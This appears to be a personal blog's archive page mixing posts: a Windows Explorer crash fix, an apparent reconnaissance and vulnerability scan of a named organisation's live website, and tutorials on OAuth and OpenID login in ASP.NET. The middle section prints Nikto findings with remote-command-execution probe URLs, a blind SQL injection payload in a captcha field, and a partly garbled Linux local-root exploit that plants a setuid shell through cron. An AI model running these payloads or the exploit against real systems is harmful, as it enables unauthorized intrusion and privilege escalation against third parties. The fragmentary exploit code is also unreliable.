Archive for the ‘Uncategorized’ Category


If you experience an problem with Windows explorer, crashing (restarting) and “checking for solutions” frequently, please check your event log (start menu – Control Panel\All Control Panel Items\Administrative Tools\event viewer) and check your system for details:

Error 1000

Faulting application name: explorer.exe, version: 6.1.7601.17567, time stamp: 0x4d6727a7
Faulting module name: DivXMFSource.dll, version:, time stamp: 0x4cffcf66
Exception code: 0xc0000005
Fault offset: 0x0009b8a1
Faulting process id: 0x1120
Faulting application start time: 0x01cde647c43c2960
Faulting application path: C:\Windows\explorer.exe
Faulting module path: C:\Program Files\DivX\DivX Plus Media Foundation Components\DivXMFSource.dll
Report Id: 05f99130-523b-11e2-ab4f-000000540400

Temporary Solution – Uninstall Divx

As you can see, the problem can easily be rectified, but only if you know what your doing. The conflicting / manifested dll or other file, could be malware or linked to a bigger program.

p.s this error had to be placed here as the Microsoft site has changed to only promote bug reports on, evaluating software only 🙂


Info first

root@bt:/pentest/enumeration/web/whatweb# ./whatweb ncc.c [200] Cookies[ncc], Email[], Google-Analytics[UA-11579552-1], Title[National Computing Centre  | Home], PHP[5.2.17], JQuery, X-Powered-By[PHP/5.2.17], Country[UNITED KINGDOM][GB], Apache, HTTPServer[Apache], IP[]

Index.php Header contains a expireiry date that has long been and gone:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.17
Transfer-Encoding: chunked
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Tue, 11 Sep 2012 03:02:58 GMT
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns="">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="en" />
<script type="text/javascript"> var url_address = ""; </script>

Blindsqli in captcha!

During a few scans with backtrack, heres a vulnerability I found it their site, This first one sits on in the captcha token

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Exported HTTP Request from W3AF</title>
    <body><form action="" method="POST">
<input type="text" name="website" value="">
<input type="text" name="comment" value="Hi hunny I’m home">
<input type="text" name="firstname" value="John">
<input type="text" name="lastname" value="Smith">
<input type="text" name="company" value="Bonsai">
<input type="text" name="telephone" value="55550178">
<input type="text" name="captcha" value="84" OR "84"="84">
<input type="text" name="postcode" value="55550178">
<input type="text" name="address" value="Bonsai Street 123">
<input type="text" name="Accreditation_4_action" value="submit">
<input type="text" name="form" value="4">
<input type="text" name="title" value="">
<input type="text" name="jobtitle" value="Hunter">
<input type="text" name="email" value="">
<input type="text" name="mode" value="56">
<input type="text" name="captcha_token" value="4e49734857717649364c72367738453d">
<input type="text" name="page" value="689">
<input type="submit">

19 Items found, to be suspected vulnerabilities

root@bt:/pentest/web/nikto# ./ -h
– Nikto v2.1.5
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2012-09-10 21:17:29 (GMT-4)
+ Server: Apache
+ Retrieved x-powered-by header: PHP/5.2.17
+ robots.txt contains 2 entries which should be manually viewed.
+ DEBUG HTTP verb may show server debugging information. See for details.
+ OSVDB-17664: /_mem_bin/remind.asp: Page will give the password reminder for any user requested (username must be known).
+ OSVDB-724: /cgi-bin/|&blah: Avenger’s News System allows commands to be issued remotely.
+ OSVDB-724: /cgi-bin/ans/|&blah: Avenger’s News System allows commands to be issued remotely.
+ OSVDB-3233: /mailman/listinfo: Mailman was found on the server.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /certificates: This might be interesting…
+ OSVDB-3092: /img-sys/: Default image directory should not allow directory listing.
+ OSVDB-3092: /java-sys/: Default Java directory should not allow directory listing.
+ OSVDB-3299: /forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-3299: /forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-3299: /htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-3299: /vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-3299: /vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-3299: /cgi-bin/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See
+ OSVDB-724: /|&blah: Avenger’s News System allows commands to be issued remotely. default admin string ‘admin:aaLR8vE.jjhss:root@’, password file location ‘ans_data/ans.passwd’
+ OSVDB-724: /ans/|&blah: Avenger’s News System allows commands to be issued remotely.
+ 6474 items checked: 64 error(s) and 19 item(s) reported on remote host
+ End Time:           2012-09-10 22:14:47 (GMT-4) (3438 seconds)
+ 1 host(s) tested


# Date: 6/26/12
# Version: 3.x.x
# Category:: Local Root Exploit
# Tested on: Linux, Ubuntu
# Demo site: [3 vulnerable site, this will speed up check]

# 3.x.x local root exp By: Blade
# + effected systems 3.x.x
# tested on Intel(R) Xeon(TM) CPU 5.20GHz
# Works perfect on all linux distros and servers.
# maybe others …
# ~
# Use this at your own risk, I’m not responsible for any risk.

cat > /tmp/getsuid.c << __EOF__

char *payload=”\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n”;

int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
prctl(PR_SET_DUMPABLE, 2);
kill(child, SIGSEGV);

cat > /tmp/s.c << __EOF__
system(“rm -rf /tmp/s”);
system(“rm -rf /etc/cron.d/*”);
return 0;
echo “wait aprox 4 min to get sh”
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
rm -rf getsuid*
rm -rf s.c
rm -rf

2-legged vs. 3-legged OAuth

Posted: January 12, 2012 in Uncategorized

From emails I receive it seems like there is a bit of confusion about what the terms 2-legged OAuth and 3-legged OAuth mean. I hope I can clear up this confusion with this article (and don’t contribute more to the confusion…).
In short, they describe two different usage scenarios of OAuth involving two respectively three parties.
3-legged OAuth describes the scenario for which OAuth was originally developed: a resource owner wants to give a client access to a server without sharing his credentials (i.e. username/password). A typical example is a user (resource owner) who wants to give a third-party application (client) access to his Twitter account (server).
On a conceptual level it works in the following way:
Client has signed up to the server and got his client credentials (also known as “consumer key and secret”) ahead of time
User wants to give the client access to his protected resources on the server
Client retrieves the temporary credentials (also known as “request token”) from the server
Client redirects the resource owner to the server
Resource owner grants the client access to his protected resources on the server
Server redirects the user back to the client
Client uses the temporary credentials to retrieve the token credentials (also known as “access token”) from the server
Client uses the token credentials to access the protected resources on the server
2-legged OAuth , on the other hand, describes a typical client-server scenario, without any user involvement. An example for such a scenario could be a local Twitter client application accessing your Twitter account.
On a conceptual level 2-legged OAuth simply consists of the first and last steps of 3-legged OAuth:
Client has signed up to the server and got his client credentials (also known as “consumer key and secret”)
Client uses his client credentials (and empty token credentials) to access the protected resources on the server
Above I used Twitter as an example, though strictly speaking, they don’t use 2-legged OAuth, but a variant of it. They not only provide the client credentials but also the token credentials (see also Using one access token with OAuth ).
As you have seen, 2-legged OAuth is nothing new, it is simply using OAuth in a different scenario than it was designed for. And hence you can use (almost?) all existing OAuth libraries for 2-legged OAuth, too.



To secure websites, we usually create user database and develop a login page to authenticate the user. If you have several websites, creating separate user login for each site is time consuming and not favorable to your users because they have to login to each site separately. OpenID was developed to solved such authentication hassles. It is an open standard for developers that enables them to authenticate their users in a decentralized manner. For end-users, OpenID allows them to consolidate their digital identities. Major web services that supports OpenID are Google, Yahoo and Facebook. If you use OpenID with your website, you allow users to login to your site using their Google, Yahoo or Facebook accounts. The authentication will be hosted by the OpenID provider, so no need to maintain the user details on your side except the Identifier returned by the provider.On this article, I will show you a ASP.NET sample code I made that use OpenID Authentication to verify Google Account. To accomplish the authentication, I used the C# library called DotNetOpenAuth. Here is the step-by-step procedure to implement it on your ASP.NET application. 

  1. Download the DotNetOpenAuth  Libraries. Choose the most appropriate version for development platform.
  2. Extract the downloaded compressed file on your hard drive.
  3. On your project, Add Reference to “DotNetOpenAuth.dll”
  4. On your login page’s HTML Code, paste the following.

<form id=”form1″ runat=”server”>
<div id=”loginform”>
<div id=”NotLoggedIn” runat=”server”>
Log in with <img src=”” />
<asp:Button ID=”btnLoginToGoogle” Runat=”server” Text=”Google” OnCommand=”OpenLogin_Click”
CommandArgument=”” />
<asp:Label runat=”server” ID=”lblAlertMsg” />

Take note of the URL: – this is the unique OpenID URL of Google Account.   5. Include the following namespaces on your “Using” directive.


6. On the Page_Load & OpenLogin_Click, use the following codes

  using DotNetOpenAuth.OpenId;
using DotNetOpenAuth.OpenId.RelyingParty;
protected void Page_Load(object sender, EventArgs e)
OpenIdRelyingParty rp = new OpenIdRelyingParty();
var r = rp.GetResponse();
if (r != null)
switch (r.Status)
case AuthenticationStatus.Authenticated:
NotLoggedIn.Visible = false;
Session[“GoogleIdentifier”] = r.ClaimedIdentifier.ToString();
Response.Redirect(“Main.aspx”); //redirect to main page of your website
case AuthenticationStatus.Canceled:
lblAlertMsg.Text = “Cancelled.”;
case AuthenticationStatus.Failed:
lblAlertMsg.Text = “Login Failed.”;
} }protected void OpenLogin_Click(object src, CommandEventArgs e)
string discoveryUri = e.CommandArgument.ToString();
OpenIdRelyingParty openid = new OpenIdRelyingParty();
var b = new UriBuilder(Request.Url) { Query = “” };
var req = openid.CreateRequest(discoveryUri, b.Uri, b.Uri);

7. Run the project. It should look like the following screens.

Log in with Now the Login page look like ….

My new avator

Posted: December 16, 2011 in Uncategorized